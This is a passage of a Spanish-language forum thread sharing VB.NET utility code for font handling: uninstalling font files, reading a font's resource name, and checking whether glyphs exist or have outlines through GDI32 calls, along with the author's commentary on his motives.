  526.  
  527.            End Using
  528.  
  529.        Catch ex As Exception
  530.            Throw
  531.  
  532.        End Try
  533.  
  534.        If deleteFile Then
  535.            Dim fontsDir As String = If(systemWide,
  536.                Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Fonts"),
  537.                Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\Windows\Fonts"))
  538.  
  539.            Dim fontFileDestPath As String = Path.Combine(fontsDir, fontFileName)
  540.  
  541.            ' First attempt to delete the file.
  542.            Try
  543.                File.Delete(fontFileDestPath)
  544.            Catch
  545.            End Try
  546.  
  547.            If File.Exists(fontFileDestPath) Then
  548.                ' Remove the font from the system font table,
  549.                ' because in case of 'AddFontResource' was called for this font file in the current user session,
  550.                ' the font will remain loaded in memory and cannot be deleted until unloaded from memory.
  551.                Dim result As Boolean = DevCase.Win32.NativeMethods.RemoveFontResource(fontFileDestPath)
  552.                Dim win32Err As Integer = Marshal.GetLastWin32Error()
  553.  
  554.                If result Then
  555.                    ' Notify all top-level windows so they can immediately delist the removed font.
  556.                    DevCase.Win32.NativeMethods.SendMessage(DevCase.Win32.Common.Constants.HWND_BROADCAST, WindowMessages.WM_FontChange, IntPtr.Zero, IntPtr.Zero)
  557.                Else
  558.                    ' Ignore throwing an exception, since we don't really know if the font file was loaded in memory.
  559.  
  560.                    'Dim msg As String = $"Failed to remove font file from the system font table: '{fontFileDestPath}'"
  561.                    'Throw New InvalidOperationException(msg, New Win32Exception(win32Err))
  562.                End If
  563.  
  564.                ' Second attempt to delete the file.
  565.                Try
  566.                    File.Delete(fontFileDestPath)
  567.                Catch
  568.                End Try
  569.  
  570.            End If
  571.  
  572.            If File.Exists(fontFileDestPath) Then
  573.  
  574.                ' Ensure that the 'FontCache' service is stopped, as it could habe blocked the font file.
  575.                Using sc As New ServiceController("FontCache")
  576.                    Dim previousStatus As ServiceControllerStatus = sc.Status
  577.                    If (sc.Status <> ServiceControllerStatus.Stopped) AndAlso
  578.                       (sc.Status <> ServiceControllerStatus.StopPending) Then
  579.                        Try
  580.                            sc.Stop()
  581.                            sc.WaitForStatus(ServiceControllerStatus.Stopped, TimeSpan.FromSeconds(3))
  582.                        Catch ex As Exception
  583.                            ' Ignore throwing an exception,
  584.                            ' since we don't really know if the 'FontCache' service have blocked the font file at all.
  585.  
  586.                            'If sc.Status <> ServiceControllerStatus.Stopped Then
  587.                            '    Dim msg As String = "Unable to stop 'FontCache' service."
  588.                            '    Throw New InvalidOperationException(msg, ex)
  589.                            'End If
  590.                        End Try
  591.                    End If
  592.  
  593.                    ' Third and last attempt to delete the file.
  594.                    Try
  595.                        File.Delete(fontFileDestPath)
  596.  
  597.                    Catch ex As Exception
  598.                        Dim msg As String = $"Error deleting font file from Fonts directory: '{fontFileDestPath}'"
  599.                        Throw New IOException(msg, ex)
  600.  
  601.                    Finally
  602.                        ' Restore previous 'FontCache' service status if it was started and not in automatic mode.
  603.                        If sc.StartType <> ServiceStartMode.Automatic AndAlso (
  604.                              (previousStatus = ServiceControllerStatus.Running) OrElse
  605.                              (previousStatus = ServiceControllerStatus.StartPending)
  606.                           ) AndAlso sc.Status <> ServiceControllerStatus.Running Then
  607.                            Try
  608.                                sc.Start()
  609.                                sc.WaitForStatus(ServiceControllerStatus.Running, TimeSpan.FromSeconds(0.25))
  610.                            Catch
  611.                                ' Ignore throwing an exception; best effort.
  612.                            End Try
  613.                        End If
  614.                    End Try
  615.                End Using
  616.            End If
  617.  
  618.        End If
  619.  
  620.    End Sub
  621.  
  622.    ''' <summary>
  623.    ''' Builds a full path to a font file from the given value in <paramref name="fontFilePathOrName"/> parameter.
  624.    ''' <para></para>
  625.    ''' If the provided file path exists, it is returned as-is; otherwise,
  626.    ''' the function constructs and returns a full file path based on
  627.    ''' the value of <paramref name="systemWide"/> parameter.
  628.    ''' <para></para>
  629.    ''' Note: This function does not check whether the resulting file path exists.
  630.    ''' </summary>
  631.    '''
  632.    ''' <param name="fontFilePathOrName">
  633.    ''' Either the full path to the font file or just the file name
  634.    ''' (e.g., <b>"C:\font.ttf"</b> or else <b>"font.ttf"</b>).
  635.    ''' <para></para>
  636.    ''' If the provided path exists, the function returns this path as-is.
  637.    ''' </param>
  638.    '''
  639.    ''' <param name="systemWide">
  640.    ''' If <see langword="True"/>, the function constructs a full font file path from the system's Fonts directory
  641.    ''' (<b>%WINDIR%\Fonts</b>); otherwise, it constructs a full font file path from the current user's local Fonts directory
  642.    ''' (<b>%LOCALAPPDATA%\Microsoft\Windows\Fonts</b>).
  643.    ''' <para></para>
  644.    ''' Note: The <paramref name="systemWide"/> parameter is ignored if
  645.    ''' <paramref name="fontFilePathOrName"/> already specifies an existing file path.
  646.    ''' </param>
  647.    '''
  648.    ''' <returns>
  649.    ''' The resulting full path to the font file.
  650.    ''' </returns>
  651.    <DebuggerStepThrough>
  652.    Private Shared Function BuildFullFontFilePath(fontFilePathOrName As String, systemWide As Boolean) As String
  653.  
  654.        If File.Exists(fontFilePathOrName) Then
  655.            Return fontFilePathOrName
  656.        End If
  657.  
  658.        Dim fontFileName As String = Path.GetFileName(fontFilePathOrName)
  659.        If String.IsNullOrWhiteSpace(fontFileName) Then
  660.            Throw New ArgumentException("The font file path or name is malformed or empty.", NameOf(fontFilePathOrName))
  661.        End If
  662.  
  663.        Dim fontsDir As String = If(systemWide,
  664.            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.Windows), "Fonts"),
  665.            Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\Windows\Fonts"))
  666.  
  667.        Return Path.Combine(fontsDir, fontFileName)
  668.    End Function
  669.  
  670. End Class

El código continúa aquí abajo 👇🙂


« Última modificación: 31 Agosto 2025, 16:16 pm por Eleкtro » En línea



Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.959



Ver Perfil
Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
« Respuesta #601 en: 31 Agosto 2025, 15:20 pm »

Esta función pertenece a la clase 'UtilFonts' del anterior post, lo comparto aquí por que no me cabe en el otro post y por que esta función no depende de ninguna otra...

Código
  1.   ''' <summary>
  2.   ''' Retrieves the resource name of a TrueType (.ttf) or OpenType font file (.otf)
  3.   ''' by creating a temporary scalable font resource file and reading its contents.
  4.   ''' <para></para>
  5.   ''' This name may differ from the value of the following properties:
  6.   ''' <list type="bullet">
  7.   '''   <item><description><see cref="System.Drawing.Font.Name"/>.</description></item>
  8.   '''   <item><description><see cref="System.Drawing.Font.OriginalFontName"/>.</description></item>
  9.   '''   <item><description><see cref="System.Drawing.Font.SystemFontName"/>.</description></item>
  10.   '''   <item><description><see cref="System.Windows.Media.GlyphTypeface.FamilyNames"/>.</description></item>
  11.   '''   <item><description><see cref="System.Windows.Media.GlyphTypeface.Win32FamilyNames"/>.</description></item>
  12.   ''' </list>
  13.   ''' </summary>
  14.   '''
  15.   ''' <param name="fontFile">
  16.   ''' The path to the font file (e.g., <b>"C:\font.ttf"</b>).
  17.   ''' </param>
  18.   '''
  19.   ''' <returns>
  20.   ''' The resource name of the given font file.
  21.   ''' </returns>
  22.   <DebuggerStepThrough>
  23.   Public Shared Function GetFontResourceName(fontFile As String) As String
  24.  
  25.       If Not File.Exists(fontFile) Then
  26.           Dim msg As String = $"The font file does not exist: '{fontFile}'"
  27.           Throw New FileNotFoundException(msg, fontFile)
  28.       End If
  29.  
  30.       Dim fontName As String = Nothing
  31.       Dim tempFile As String = Path.Combine(Path.GetTempPath(), "~FONT.RES")
  32.  
  33.       ' Ensure any previous existing temp file is deleted.
  34.       If File.Exists(tempFile) Then
  35.           Try
  36.               File.Delete(tempFile)
  37.           Catch ex As Exception
  38.               Dim msg As String = $"Cannot delete existing temp resource file: '{tempFile}'"
  39.               Throw New IOException(msg, ex)
  40.           End Try
  41.       End If
  42.  
  43.       ' Create a temporary scalable font resource.
  44.       Dim created As Boolean = NativeMethods.CreateScalableFontResource(1UI, tempFile, fontFile, Nothing)
  45.       If Not created Then
  46.           Dim msg As String = "Failed to create scalable font resource."
  47.           Throw New IOException(msg)
  48.       End If
  49.  
  50.       Try
  51.           ' Read the temp font file resource into a string.
  52.           Dim buffer As Byte() = File.ReadAllBytes(tempFile)
  53.           Dim bufferStr As String = Encoding.Default.GetString(buffer)
  54.  
  55.           ' Look for the "FONTRES:" marker.
  56.           Const fontResMarker As String = "FONTRES:"
  57.           Dim pos As Integer = bufferStr.IndexOf(fontResMarker)
  58.           If pos < 0 Then
  59.               Dim msg As String = "FONTRES marker not found in temporary font resource file."
  60.               Throw New InvalidOperationException(msg)
  61.           End If
  62.  
  63.           pos += fontResMarker.Length
  64.           Dim endPos As Integer = bufferStr.IndexOf(ControlChars.NullChar, pos)
  65.           If endPos < 0 Then
  66.               Dim msg As String = "Cannot determine the end position of the font name string in the font resource file content."
  67.               Throw New InvalidOperationException(msg)
  68.           End If
  69.  
  70.           fontName = bufferStr.Substring(pos, endPos - pos)
  71.       Catch ex As Exception
  72.           Throw
  73.  
  74.       Finally
  75.           ' Always attempt to delete the created temporary resource file.
  76.           Try
  77.               File.Delete(tempFile)
  78.           Catch
  79.               ' Ignore deletion exceptions; cleanup best effort.
  80.           End Try
  81.  
  82.       End Try
  83.  
  84.       Return fontName
  85.   End Function
  86.  

Código
  1. #Region " NativeMethods "
  2.  
  3. Namespace DevCase.Win32.NativeMethods
  4.  
  5.    <SuppressUnmanagedCodeSecurity>
  6.    Friend Module User32
  7.  
  8. #Region " GDI32.dll "
  9.  
  10.        <DllImport("GDI32.dll", CharSet:=CharSet.Auto, SetLastError:=True, BestFitMapping:=False, ThrowOnUnmappableChar:=True)>
  11.        Friend Function CreateScalableFontResource(hidden As UInteger,
  12.                                                   resourceFile As String,
  13.                                                   fontFile As String,
  14.                                                   currentPath As String
  15.        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  16.        End Function
  17.  
  18. #End Region
  19.  
  20.    End Module
  21.  
  22. End Namespace
  23.  
  24. #End Region

OFF-TOPIC

Si alguien se pregunta: "¿Y por qué esa obsesión con las diferentes formas que puede haber para obtener el nombre de una fuente?" "¿Qué más te da un nombre u otro?" pues bueno, por que yo necesitaba hallar la forma de obtener el nombre completo amistoso exactamente tal y como se muestra en el visor de fuentes de texto de Windows (fontview.exe), por que esa es la representación más completa y la más sofisticada que he visto hasta ahora, "¿Pero por qué motivo lo necesitas exactamente?" Pues por que se me metió en la cabeza conseguirlo, y yo soy muy cabezón, sin más, así que básicamente en eso ha consistido mi investigación, con varios días de ensayo y error, junto a treinta consultas a ChatGPT con sus cien respuestas inservibles que me sacan de quicio...

En el post anterior simplemente he recopilado las diferencias que he ido encontrando al probar diversas maneras de obtener el nombre de una fuente (a lo mejor me he olvidado de alguna otra forma, no sé). A penas hay información sobre esto en Internet (sobre como obtener el nombre amistoso COMPLETO) por no decir que prácticamente no hay nada de nada; aunque bueno, una forma sé que sería leyendo las tablas en la cabecera de un archivo de fuente, pero eso es un auténtico coñazo y propenso a errores humanos, sobre todo si no eres un friki erudito... diseñador de fuentes que conoce todos los entresijos y las "variables" a tener en cuenta al analizar la cabecera de estos formatos de archivo, cosa que evidentemente yo no conozco, pero por suerte al final descubrí que la propiedad "Title" de la shell de Windows es suficiente para lograr mi propósito a la perfección, y sin tener que recurrir a experimentos tediosos que me causarían pesadillas por la noche.

Lo de instalar y desinstalar fuentes vino a continuación de lo del nombre, primero necesitaba el nombre amistoso completo, y luego ya teniendo ese nombre -fiel a la representación de Microsoft Windows- podía empezar a desarrollar ideas para hacer cosas más útiles o interesantes. Todos los códigos que he visto por Internet en diferentes lenguajes de programación para instalar un archivo de fuente se quedan muuuy cortos para mis expectativas, carecíendo de las funcionalidades más esenciales, la optimización y los controles de errores más básicos... a diferencia de lo que yo he desarrollado y compartido en el anterior post, que aunque puede que no sea perfecto (por que la perfección absoluta no existe), es mejor que todo lo que he encontrado hasta ahora, y no es por echarme flores ni parecer engreído, pero es la verdad; Me siento sorprendido al no haber descubierto ningún otro programador que haya hecho/compartido un código universal para instalar fuentes de texto de forma más o menos eficiente, confiable y versátil. Quizás lo haya, pero yo no lo encontré. Códigos cortitos y que cumplen la funcionalidad mínima de "instalar una fuente" sin importar ningún factor, de esos hay muchos en Internet, pero como digo un BUEN CÓDIGO no encontré.

Lo próximo que comparta en este hilo puede que sea un método universal que sirva para determinar si un archivo de fuente contiene glifos para representar caracteres específicos (ej. "áéíóú"). Ya tengo algo hecho que funciona... pero no siempre funciona de la forma esperada (da falsos positivos con algunos archivos de fuente). Me falta mucho por aprender del formato TrueType y OpenType. Por suerte existen herramientas especializadas como por ejemplo "otfinfo.exe" (descarga) que sirven para obtener información general de una fuente, imprimir en consola los caracteres de un rango Unicode específico, volcar tablas completas y demás, y tener algo así me ayuda a hacer (y corregir) asunciones al leer este formato de archivo.

👋


« Última modificación: 31 Agosto 2025, 17:17 pm por Eleкtro » En línea



Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.959



Ver Perfil
Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
« Respuesta #602 en: 2 Septiembre 2025, 10:12 am »

Métodos universales para trabajar (otros) aspectos básicos con fuentes de texto (.ttf y .otf)...

(AL FINAL DE ESTE POST HE COMPARTIDO UN EJEMPLO DE USO 😏)

Funciones 'UtilFonts.FontHasGlyph', 'UtilFonts.FontHasGlyphs', 'FontExtensions.HasGlyph' y 'FontExtensions.HasGlyphs'

    Sirven para determinar si existen glifos en una fuente de texto para un caracter o una serie de caracteres específicos.

    Se utilizaría, por ejemplo, con este tipo de fuente que no tiene glifos propios para las vocales con tilde:

   

Funciones 'UtilFonts.FontGlyphHasOutline' y 'FontExtensions.GlyphHasOutline'

    Sirven para determinar si un glifo está vacío (no hay contornos dibujados).

    Se utilizaría, por ejemplo, con este tipo de fuentes que no dibujan las vocales con tilde:

   

    Tener en cuenta que esta función solo sirve para determinar si el glifo contiene algo,
    no puede determinar si el glifo es una figura incompleta como por ejemplo la de esta vocal que solo tiene la tilde:

   



El código fuente

Imports necesarios

Código
  1. Imports System.ComponentModel
  2. Imports System.Drawing
  3. Imports System.Drawing.Text
  4. Imports System.IO
  5. Imports System.Runtime.CompilerServices
  6. Imports System.Runtime.InteropServices
  7.  
  8. Imports DevCase.Win32
  9. Imports DevCase.Win32.Enums
  10. Imports DevCase.Win32.Structures

Clases secundarias requeridas

(Lo siento pero he tenido que borrar mucha documentación XML -no esencial- para que me quepa todo el código en este post.)

Código
  1. #Region " Constants "
  2.  
  3. Namespace DevCase.Win32.Common.Constants
  4.  
  5.    <HideModuleName>
  6.    Friend Module Constants
  7.  
  8. #Region " GDI32 "
  9.  
  10.    ''' <summary>
  11.    ''' Error return value for some GDI32 functions.
  12.    ''' </summary>
  13.    Public Const GDI_ERROR As UInteger = &HFFFFFFFFUI
  14.  
  15.    ''' <summary>
  16.    ''' Error return value for some GDI32 functions.
  17.    ''' </summary>
  18.    Public ReadOnly HGDI_ERROR As New IntPtr(-1)
  19.  
  20. #End Region
  21.  
  22.    End Module
  23.  
  24. End Namespace
  25.  
  26. #End Region

Código
  1. #Region " Enums "
  2.  
  3. Namespace DevCase.Win32.Enums
  4.  
  5.    ''' <remarks>
  6.    ''' List of System Error Codes: <see href="https://docs.microsoft.com/en-us/windows/desktop/Debug/system-error-codes"/>.
  7.    ''' </remarks>
  8.    Public Enum Win32ErrorCode As Integer
  9.  
  10.        ''' <summary>
  11.        ''' The operation completed successfully.
  12.        ''' </summary>
  13.        ERROR_SUCCESS = &H0
  14.    End Enum
  15.  
  16.    ''' <remarks>
  17.    ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-wcrange"/>
  18.    ''' </remarks>
  19.    <Flags>
  20.    Public Enum GetGlyphIndicesFlags ' GGI
  21.  
  22.        ''' <summary>
  23.        ''' Marks unsupported glyphs with the hexadecimal value 0xFFFF.
  24.        ''' </summary>
  25.        MarkNonExistingGlyphs = 1 ' GGI_MARK_NONEXISTING_GLYPHS
  26.    End Enum
  27.  
  28.    ''' <remarks>
  29.    ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-getglyphoutlinew"/>
  30.    ''' </remarks>
  31.    Public Enum GetGlyphOutlineFormat ' GGO
  32.        Metrics = 0
  33.        Bitmap = 1
  34.  
  35.        ''' <summary>
  36.        ''' The function retrieves the curve data points in the rasterizer's native format and uses the font's design units.
  37.        ''' </summary>
  38.        Native = 2
  39.  
  40.        Bezier = 3
  41.        BitmapGray2 = 4
  42.        BitmapGray4 = 5
  43.        BitmapGray8 = 6
  44.        GlyphIndex = &H80
  45.        Unhinted = &H100
  46.    End Enum
  47.  
  48. End Namespace
  49.  
  50. #End Region

Código
  1. #Region " Structures "
  2.  
  3.    Namespace DevCase.Win32.Structures
  4.  
  5.    #Region " GlyphMetrics "
  6.  
  7.        ''' <remarks>
  8.        ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-glyphmetrics"/>
  9.        ''' </remarks>
  10.        <StructLayout(LayoutKind.Sequential)>
  11.        Public Structure GlyphMetrics
  12.            Public BlackBoxX As UInteger
  13.            Public BlackBoxY As UInteger
  14.            Public GlyphOrigin As NativePoint
  15.            Public CellIncX As Short
  16.            Public CellIncY As Short
  17.        End Structure
  18.  
  19.    #End Region
  20.  
  21.    #Region " NativePoint (POINT) "
  22.  
  23.    ''' <summary>
  24.    ''' Defines the x- and y- coordinates of a point.
  25.    ''' </summary>
  26.    '''
  27.    ''' <remarks>
  28.    ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd162805%28v=vs.85%29.aspx"/>
  29.    ''' </remarks>
  30.    <DebuggerStepThrough>
  31.    <StructLayout(LayoutKind.Sequential)>
  32.    Public Structure NativePoint
  33.  
  34. #Region " Fields "
  35.  
  36.        Public X As Integer
  37.        Public Y As Integer
  38.  
  39. #End Region
  40.  
  41. #Region " Constructors "
  42.  
  43.        Public Sub New(x As Integer, y As Integer)
  44.            Me.X = x
  45.            Me.Y = y
  46.        End Sub
  47.  
  48.        Public Sub New(pt As Point)
  49.            Me.New(pt.X, pt.Y)
  50.        End Sub
  51.  
  52. #End Region
  53.  
  54. #Region " Operator Conversions "
  55.  
  56.        Public Shared Widening Operator CType(pt As NativePoint) As Point
  57.            Return New Point(pt.X, pt.Y)
  58.        End Operator
  59.  
  60.        Public Shared Widening Operator CType(pt As Point) As NativePoint
  61.            Return New NativePoint(pt.X, pt.Y)
  62.        End Operator
  63.  
  64. #End Region
  65.  
  66.    End Structure
  67.  
  68.    #End Region
  69.  
  70.    #Region " GlyphOutlineMatrix2 "
  71.  
  72.    ''' <remarks>
  73.    ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-mat2"/>
  74.    ''' </remarks>
  75.    <StructLayout(LayoutKind.Sequential)>
  76.    Public Structure GlyphOutlineMatrix2 ' MAT2
  77.  
  78.        Public M11 As Fixed
  79.        Public M12 As Fixed
  80.        Public M21 As Fixed
  81.        Public M22 As Fixed
  82.  
  83.        ''' <summary>
  84.        ''' Gets an <see cref="GlyphOutlineMatrix2"/> transformation in which the transformed graphical object is identical to the source object.
  85.        ''' This is called an identity matrix.
  86.        ''' <para></para>
  87.        ''' In this identity matrix,
  88.        ''' the value of <see cref="GlyphOutlineMatrix2.M11"/> is 1,
  89.        ''' the value of <see cref="GlyphOutlineMatrix2.M12"/> is zero,
  90.        ''' the value of <see cref="GlyphOutlineMatrix2.M21"/> is zero,
  91.        ''' and the value of <see cref="GlyphOutlineMatrix2.M22"/> is 1.
  92.        ''' </summary>
  93.        '''
  94.        ''' <returns>
  95.        ''' The resulting <see cref="GlyphOutlineMatrix2"/>.
  96.        ''' </returns>
  97.        Public Shared Function GetIdentityMatrix() As GlyphOutlineMatrix2
  98.            Return New GlyphOutlineMatrix2() With {
  99.            .M11 = New Fixed With {.Value = 1},
  100.            .M22 = New Fixed With {.Value = 1}
  101.        }
  102.        End Function
  103.  
  104.    End Structure
  105.  
  106.    #End Region
  107.  
  108.    #Region " Fixed "
  109.  
  110.    ''' <summary>
  111.    ''' Contains the integral and fractional parts of a fixed-point real number.
  112.    ''' <para></para>
  113.    ''' Note: The <see cref="Fixed"/> structure is used to describe the elements of the <see cref="GlyphOutlineMatrix2"/> structure.
  114.    ''' </summary>
  115.    '''
  116.    ''' <remarks>
  117.    ''' <see href="https://docs.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-fixed"/>
  118.    ''' </remarks>
  119.    <StructLayout(LayoutKind.Sequential)>
  120.    Public Structure Fixed
  121.  
  122. #Region " Public Fields "
  123.  
  124.        ''' <summary>
  125.        ''' The fractional value.
  126.        ''' </summary>
  127.        Public Fraction As UShort
  128.  
  129.        ''' <summary>
  130.        ''' The integral value.
  131.        ''' </summary>
  132.        Public Value As Short
  133.  
  134. #End Region
  135.  
  136. #Region " Operator Conversions "
  137.  
  138.        Public Shared Widening Operator CType(f As Fixed) As Decimal
  139.  
  140.            Return Decimal.Parse($"{f.Value.ToString(NumberFormatInfo.InvariantInfo)}{NumberFormatInfo.InvariantInfo.NumberDecimalSeparator}{f.Fraction.ToString(NumberFormatInfo.InvariantInfo)}", NumberFormatInfo.InvariantInfo)
  141.        End Operator
  142.  
  143.        Public Shared Widening Operator CType(dec As Decimal) As Fixed
  144.  
  145.            Return New Fixed With {
  146.                .Value = CShort(System.Math.Truncate(System.Math.Truncate(dec))),
  147.                .Fraction = UShort.Parse(dec.ToString(NumberFormatInfo.InvariantInfo).Split({NumberFormatInfo.InvariantInfo.NumberDecimalSeparator}, StringSplitOptions.None)(1), NumberFormatInfo.InvariantInfo)
  148.            }
  149.        End Operator
  150.  
  151. #End Region
  152.  
  153. #Region " Public Methods "
  154.  
  155.        Public Overrides Function ToString() As String
  156.  
  157.            Return CDec(Me).ToString()
  158.        End Function
  159.  
  160. #End Region
  161.  
  162.    End Structure
  163.  
  164.    #End Region
  165.  
  166.    End Namespace
  167.  
  168. #End Region
  169.  

Código
  1. #Region " NativeMethods "
  2.  
  3. Namespace DevCase.Win32.NativeMethods
  4.  
  5.    <SuppressUnmanagedCodeSecurity>
  6.    Friend Module Gdi32
  7.  
  8.        ''' <summary>
  9.        ''' Creates a memory device context (DC) compatible with the specified device.
  10.        ''' </summary>
  11.        '''
  12.        ''' <remarks>
  13.        ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd183489%28v=vs.85%29.aspx"/>
  14.        ''' </remarks>
  15.        <DllImport("gdi32.dll", SetLastError:=True)>
  16.        Public Function CreateCompatibleDC(hdc As IntPtr
  17.        ) As IntPtr
  18.        End Function
  19.  
  20.        ''' <summary>
  21.        ''' Deletes the specified device context (DC).
  22.        ''' <para></para>
  23.        ''' An application must not delete a DC whose handle was obtained by calling the <see cref="GetDC"/> function.
  24.        ''' instead, it must call the <see cref="ReleaseDC"/> function to free the DC.
  25.        ''' </summary>
  26.        '''
  27.        ''' <remarks>
  28.        ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd183533%28v=vs.85%29.aspx"/>
  29.        ''' </remarks>
  30.        <DllImport("gdi32.dll")>
  31.        Public Function DeleteDC(hdc As IntPtr
  32.        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  33.        End Function
  34.  
  35.        ''' <summary>
  36.        ''' Selects an object into a specified device context.
  37.        ''' <para></para>
  38.        ''' The new object replaces the previous object of the same type.
  39.        ''' </summary>
  40.        '''
  41.        ''' <remarks>
  42.        ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/dd162957%28v=vs.85%29.aspx"/>
  43.        ''' </remarks>
  44.        <DllImport("gdi32.dll", ExactSpelling:=False)>
  45.        Public Function SelectObject(hdc As IntPtr,
  46.                                     hObject As IntPtr
  47.        ) As IntPtr
  48.        End Function
  49.  
  50.        ''' <summary>
  51.        ''' Deletes a logical pen, brush, font, bitmap, region, or palette,
  52.        ''' freeing all system resources associated with the object.
  53.        ''' <para></para>
  54.        ''' After the object is deleted, the specified handle is no longer valid.
  55.        ''' <para></para>
  56.        ''' Do not delete a drawing object (pen or brush) while it is still selected into a DC.
  57.        ''' <para></para>
  58.        ''' When a pattern brush is deleted, the bitmap associated with the brush is not deleted.
  59.        ''' The bitmap must be deleted independently.
  60.        ''' </summary>
  61.        '''
  62.        ''' <remarks>
  63.        ''' <see href="https://msdn.microsoft.com/en-us/library/windows/desktop/ms633540%28v=vs.85%29.aspx"/>
  64.        ''' </remarks>
  65.        <DllImport("gdi32.dll", ExactSpelling:=False, SetLastError:=True)>
  66.        Public Function DeleteObject(hObject As IntPtr
  67.        ) As <MarshalAs(UnmanagedType.Bool)> Boolean
  68.        End Function
  69.  
  70.        ''' <summary>
  71.        ''' Translates a string into an array of glyph indices.
  72.        ''' <para></para>
  73.        ''' The function can be used to determine whether a glyph exists in a font.
  74.        ''' </summary>
  75.        '''
  76.        ''' <remarks>
  77.        ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-getglyphindicesw"/>
  78.        ''' </remarks>
  79.        <DllImport("gdi32.dll", SetLastError:=False, CharSet:=CharSet.Auto, BestFitMapping:=False, ThrowOnUnmappableChar:=True)>
  80.        Public Function GetGlyphIndices(hdc As IntPtr,
  81.                                        str As String,
  82.                                        strLen As Integer,
  83.                                        <[Out], MarshalAs(UnmanagedType.LPArray, SizeParamIndex:=2)>
  84.                                        glyphIndices As UShort(),
  85.                               Optional flags As GetGlyphIndicesFlags = GetGlyphIndicesFlags.MarkNonExistingGlyphs
  86.        ) As UInteger
  87.        End Function
  88.  
  89.        ''' <summary>
  90.        ''' Retrieves the outline or bitmap for a character in the TrueType font that is selected into the specified device context.
  91.        ''' </summary>
  92.        '''
  93.        ''' <remarks>
  94.        ''' <see href="https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-getglyphoutlinew"/>
  95.        ''' </remarks>
  96.        <DllImport("gdi32.dll", SetLastError:=True, CharSet:=CharSet.Auto)>
  97.        Public Function GetGlyphOutline(hdc As IntPtr,
  98.                                        ch As UInteger,
  99.                                        format As GetGlyphOutlineFormat,
  100.                            <Out> ByRef refMetrics As GlyphMetrics,
  101.                                        bufferSize As UInteger,
  102.                                        buffer As IntPtr,
  103.                                  ByRef refMatrix2 As GlyphOutlineMatrix2
  104.        ) As UInteger
  105.        End Function
  106.  
  107.    End Module
  108.  
  109. End Namespace
  110.  
  111. #End Region

Clase principal 'UtilFonts' y modulo 'FontExtensions', que contienen los métodos universales en torno a fuentes de texto

Código
  1. Public Class UtilFonts
  2.  
  3.    ''' <summary>
  4.    ''' Prevents a default instance of the <see cref="UtilFonts"/> class from being created.
  5.    ''' </summary>
  6.    Private Sub New()
  7.    End Sub
  8.  
  9.    ''' <summary>
  10.    ''' Determines whether a glyph exists in the given font file
  11.    ''' for the specified character.
  12.    ''' </summary>
  13.    '''
  14.    ''' <param name="fontFile">
  15.    ''' Path to the font file used to check for glyph availability.
  16.    ''' </param>
  17.    '''
  18.    ''' <param name="ch">
  19.    ''' The character that represents the glyph to check.
  20.    ''' </param>
  21.    '''
  22.    ''' <returns>
  23.    ''' <see langword="True"/> if a glyph exists in the font for the specified character;
  24.    ''' otherwise, <see langword="False"/>.
  25.    ''' </returns>
  26.    <DebuggerStepThrough>
  27.    Public Shared Function FontHasGlyph(fontFile As String, ch As Char) As Boolean
  28.  
  29.        Return UtilFonts.FontHasGlyphs(fontFile, ch) = 1
  30.    End Function
  31.  
  32.    ''' <summary>
  33.    ''' Determines whether a glyph exists in the given font file
  34.    ''' for all the characters in the speciied string.
  35.    ''' </summary>
  36.    '''
  37.    ''' <param name="fontFile">
  38.    ''' Path to the font file used to check for glyphs availability.
  39.    ''' </param>
  40.    '''
  41.    ''' <param name="str">
  42.    ''' A <see cref="String"/> with the character(s) that represents the glyphs to check.
  43.    ''' <para></para>
  44.    ''' Each character (or surrogate pair) is checked for a existing glyph in the font.
  45.    ''' </param>
  46.    '''
  47.    ''' <returns>
  48.    ''' The count of characters from <paramref name="str"/> parameter that have a existing glyph in the font.
  49.    ''' <para></para>
  50.    ''' A count less than the length of <paramref name="str"/> indicates that the font does not have a existing glyph for one or more characters.
  51.    ''' </returns>
  52.    '''
  53.    ''' <exception cref="FileNotFoundException">
  54.    ''' Thrown when the font file is not found.
  55.    ''' </exception>
  56.    <DebuggerStepThrough>
  57.    Public Shared Function FontHasGlyphs(fontFile As String, str As String) As UInteger
  58.  
  59.        If Not System.IO.File.Exists(fontFile) Then
  60.            Throw New FileNotFoundException("Font file not found.", fileName:=fontFile)
  61.        End If
  62.  
  63.        Using pfc As New PrivateFontCollection()
  64.            pfc.AddFontFile(fontFile)
  65.  
  66.            Using f As New Font(pfc.Families(0), emSize:=1)
  67.                Return FontExtensions.HasGlyphs(f, str)
  68.            End Using
  69.        End Using
  70.    End Function
  71.  
  72.    ''' <summary>
  73.    ''' Determines whether a glyph for the specified character in the given font file has an outline.
  74.    ''' <para></para>
  75.    ''' This is useful to determine whether the glyph is empty (no character is drawn),
  76.    ''' but note that a glyph with outlines does not necessarily mean that the character is fully represented.
  77.    ''' Some fonts, for instance, only renders diacritical marks for accented vowels
  78.    ''' instead the full letter (e.g., "<b>´</b>" instead of "<b>í</b>").
  79.    ''' This function solely determines whether the glyph draws an outline, nothing more.
  80.    ''' <para></para>
  81.    ''' To determine whether a glyph exists in the given font file for the specified character, use
  82.    ''' <see cref="UtilFonts.FontHasGlyph"/> or <see cref="UtilFonts.FontHasGlyphs"/> instead.
  83.    ''' </summary>
  84.    '''
  85.    ''' <param name="fontFile">
